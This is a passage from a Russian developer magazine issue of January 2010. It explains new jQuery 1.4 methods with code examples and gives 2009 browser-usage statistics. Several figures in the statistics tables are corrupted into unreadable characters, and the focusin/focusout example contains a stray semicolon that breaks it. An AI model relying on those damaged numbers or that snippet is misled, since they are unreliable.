Теперь вы можете добавить паузу перед выполне
-
нием обработки очереди событий анимации. Фак
-
тически это работает с любой очередью событий, но наиболее востребована эта возможность имен
-
но при работе с анимацией, то есть с очередью 'fx'. Это избавит вас с путаницей вызова setTimeout и передачей методов. Выглядит это так:
jQuery
(
'#foo'
)
.
slideDown
()
// анимация раз
.
delay
(
200
)
// пауза
.
fadeIn
()
;
// анимация два
Если вы хотите использовать метод для очереди, отличной от очереди эффектов (используемой по умолчанию), то вам необходимо передать её имя, как второй параметр функции.
8. Функция .has()
jQuery 1.4 упрощает проверку наличия элемента в другом. Это эквивалентно фильтру :has() в селек
-
торе. Этот метод возвращает все элементы, в ко
-
торых содержится по крайней мере один элемент, соответствующий переданному селектору.
jQuery
(
'div'
)
.
has
(
'ul'
)
;
В этом случае результатом будет коллекция эле
-
ментов div, которые содержат элемент ul. В этой ситуации, конечно, удобнее использовать селектор (:has()), но метод полезен в случаях когда вам не
-
обходимо отфильтровать коллекцию динамически.
jQuery 1.4 также предоставляет функцию «contains». Это низкоуровневая функция, которая принимает в качестве аргументов два элемента DOM и возвращает логический результат, показы
-
вающий, содержится ли второй элемент в первом. Например:
jQuery.
contains
(
document.
documentElement
,
document.
body
)
;
// Результат true - <body> находится внутри <html>
9. Unwrap!
Мы все знаем о методе .wrap(). В jQuery 1.4 появи
-
лась функция .unwrap(), которая действует строго наоборот. К примеру нас есть такая структура:
<
div
>
<
p
>
Foo
<
/
p
>
<
/
div
>
Вызов такого кода:
jQuery
(
'p'
)
.
unwrap
()
;
… вернёт нам следующую структуру:
<
p
>
Foo
<
/
p
>
Другими словами, метод удаляет родителя у любого элемента.
10. Удаление элементов без удаления данных.
Новый метод .detach() позволит вам удалить эле
-
менты из документа, подобно тому как это делает метод .remove(). Ключевая разница в том, что но
-
вый метод не удаляет информацию об этих эле
-
ментов из jQuery. Это подразумевает, что и данные добавленные методом .data(), и любой обработ
-
чик событий, добавленный через систему событий jQuery, останутся активными.
Это может быть полезно в случаях, когда вы уда
-
Не Drupal
январь, 2010
44
Друпалогия #00
ляете элемент, но знаете, что он может вам пона
-
добиться позднее. Его события и данные будут в этом случае актуальны.
var
foo =
jQuery
(
'#foo'
)
;
// важный обработчик
foo.
click
(
function
(){
alert
(
'Foo!'
)
;
})
;
foo.
detach
()
;
// удаляем объект из DOM
// … много кода
foo.
appendTo
(
'body'
)
;
// добавляем объект
foo.
click
()
;
// "Foo!"
11. Улучшения index(...)
jQuery 1.4 позволяет вам использовать метод .index() двумя новыми способами. Раньше вы мог
-
ли передать элемент в качестве параметра, а в ре
-
зультате получали индекс этого элемента в теку
-
щей коллекции.
Если методу не передавать аргументов, то он воз
-
вращает индекс элемента в коллекции, в которой он находится. Например:
<
ul
>
<
li
>
Apple
<
/
li
>
<
li
>
Banana
<
/
li
>
<
li
>
Grape
<
/
li
>
<
li
>
Strawberry
<
/
li
>
<
li
>
Pear
<
/
li
>
<
li
>
Peach
<
/
li
>
<
/
ul
>
При нажатии на элемент списка, появится сообще
-
ние с его индексом. Это делается так:
jQuery
(
'li'
)
.
click
(
function
(){
alert
(
jQuery
(
this
)
.
index
()
)
;
})
;
jQuery 1.4 также позволяет вам указать селектор в качестве аргумента функции .index(), что позволит вам узнать индекс в коллекции полученной в ре
-
зультате обработки селектора.
Возвращаемое значение имеет тип integer, и ре
-
зультатом будет -1, если элемент не найден в кол
-
лекции.
12. Методы управления DOM, принимающие в качестве аргументов функции.
Большинство методов управления моделью доку мента теперь могут принимать функцию в качестве аргумента. Эта функция будет вызываться для каждого элемента в коллекции, которая определе
-
на с помощью искомого метода.
Такую возможность имеют следующие функции:
•
after
•
before
•
append
•
prepend
•
addClass
•
toggleClass
•
removeClass
•
wrap
•
wrapAll
•
wrapInner
•
val
•
text
•
replaceWith
•
css
•
attr
•
html
В этой функции, текущий элемент — это this, а его индекс передаётся аргументом.
jQuery
(
'li'
)
.
html
(
function
(
i
){
return
'Индекс текущего элемента: '
+
i
;
})
;
Также, с некоторыми функциями вы можете вос
-
пользоваться вторым аргументом. Если вы вызы
-
ваете, так называемый, метод установки (напри
-
мер .html() или .attr('href')), вторым аргументом бу
-
дет значение. Например:
jQuery
(
'a'
)
.
attr
(
'href'
,
function
(
i
,
currentHref
){
return
currentHref +
'?foo=bar'
;
})
;
Как видите, методам .css() и .attr() можно переда
-
вать вторым аргументом функцию, а первым — свойство, которое вы хотите изменить:
Не Drupal
январь, 2010
45
Друпалогия #00
jQuery
(
'li'
)
.
css
(
'color'
,
function
(
i
,
currentCssColor
){
return
i %
2
?
'red'
:
'blue'
;
})
;
13. Определение типа объекта
jQuery 1.4 содержит две новых вспомогательных функции, которые помогут вам определить тип целевого объекта.
Во-первых, функция isEmptyObject. Эта функция возвращает результат типа boolean, и показывает является ли переданный объект пустым (лишённый свойств напрямую или косвенно). Во-вторых, это функция isPlainObject, которая показывает является ли переданный объект, объектом javascript, созданным либо через '{}', либо через 'new Object()'.
jQuery.
isEmptyObject
({})
;
// true
jQuery.
isEmptyObject
({
foo
:
1
})
;
// false
jQuery.
isPlainObject
({})
;
// true
jQuery.
isPlainObject
(
window
)
;
// false jQuery.
isPlainObject
(
jQuery
())
;
// false
14. Улучшения метода closest(...)
Метод .closest() теперь может принимать в каче
-
стве параметра массив селекторов. Это очень по
-
лезно когда вы хотите выбрать более одного эле
-
мента с конкретными характеристиками.
Кроме того, в качестве второго аргумента может быть передан контекст выполнения. То есть вы мо
-
жете управлять тем как далеко будет искаться ис
-
комый элемент. Оба этих улучшения редко исполь
-
зуются на практике, но они дали потрясающий эф
-
фект при разработке jQuery.
15. Новые события 'focusin' и 'focusout'
Эти события вы должны использовать при рабо
-
те с focus и blur. Эти события позволят вам выпол
-
нять какие-нибудь действия когда элемент получа
-
ет или теряет фокус.
jQuery
(
'form'
)
.
focusin
(
function
(){
jQuery
(
this
)
.
addClass
(
'focused'
)
;
})
;
.
focusout
(
function
(){
jQuery
(
this
)
.
removeClass
(
'focused'
)
;
})
;
Не Drupal
январь, 2010
46
Друпалогия #00
Статистика использования броузеров
2009
IE8
IE7
IE6
Firefox
Chrome
Safari
Opera
Декабрь
13.�%
12.8%
10.9%
46.4%
9.8%
3.6%
2.3%
Ноябрь
13.3%
13.3%
11.1%
47.0%
8.�%
3.8%
2.3%
Октябрь
12.8%
14.1%
10.6%
47.�%
8.0%
3.8%
2.3%
Сентябрь
12.2%
1�.3%
12.1%
46.6%
7.1%
3.6%
2.2%
Август
10.6%
1�.1%
13.6%
47.4%
7.0%
3.3%
2.1%
Июль
9.1%
1�.9%
14.4%
47.9%
6.�%
3.3%
2.1%
Июнь
7.1%
18.7%
14.9%
47.3%
6.0%
3.1%
2.1%
Май
�.2%
21.3%
14.�%
47.7%
�.�%
3.0%
2.2%
Апрель
3.�%
23.2%
1�.4%
47.1%
4.9%
3.0%
2.2%
Март
1.4%
24.9%
17.0%
46.�%
4.2%
3.1%
2.3%
Февраль
0.8%
2�.4%
17.4%
46.4%
4.0%
3.0%
2.2%
Январь
0.6%
2�.7%
18.�%
4�.�%
3.9%
3.0%
2.3%
Использованы данные с сайта http://www.w3schools.
com
Использованы данные с сайта http://www.liveinternet.ru
количество посетителей с разными браузерами
по дням | по неделям | по месяцам
значения:
среднесуточные январь 2010 г.
декабрь 2009 г.
в среднем за 3 месяца
Firefox 3 7,943,288
23.7%
7,887,616
23.3%
7,6�1,168
23.2%
Explorer 7 �,�0�,022
16.4%
�,822,930
17.2%
�,700,6��
17.3%
Opera 10 4,976,369
14.8%
4,�70,238
13.�%
4,301,084
13.1%
Explorer 8 3,932,429
11.7%
3,781,871
11.2%
3,672,286
11.2%
Opera 9 3,447,223
10.3%
3,711,223
11.0%
3,706,161
11.3%
Explorer 6 3,090,721
9.2%
3,612,088
10.7%
3,490,369
10.6%
Не Drupal
январь, 2010
47
Друпалогия #00
Распространяемый журнал является бесплатным!
Журнал выходит 28 числа каждого месяца.
Все права на статьи, опубликованные в этом номере, принадлежат их авторам и не могут публиковаться где-либо без их согласия.
Информация об использовании
Связаться с авторами , задать вопросы, обсудить конкретную статью или поучаствовать в дискуссиях можно на сайте журнала http://magazine.drupalogy.ru
Так же, на сайте можно предложить свои статьи, обзоры, уроки или переводы.
Ответы, на интересующие вопросы, можно получить связавшись с редакцией журнала
Автор
totaku.san
Документ
Категория
Журналы и газеты
Просмотров
1 632
Размер файла
1 108 Кб
Теги
drupalogy_magazine_00
1/--страниц
Пожаловаться на содержимое документа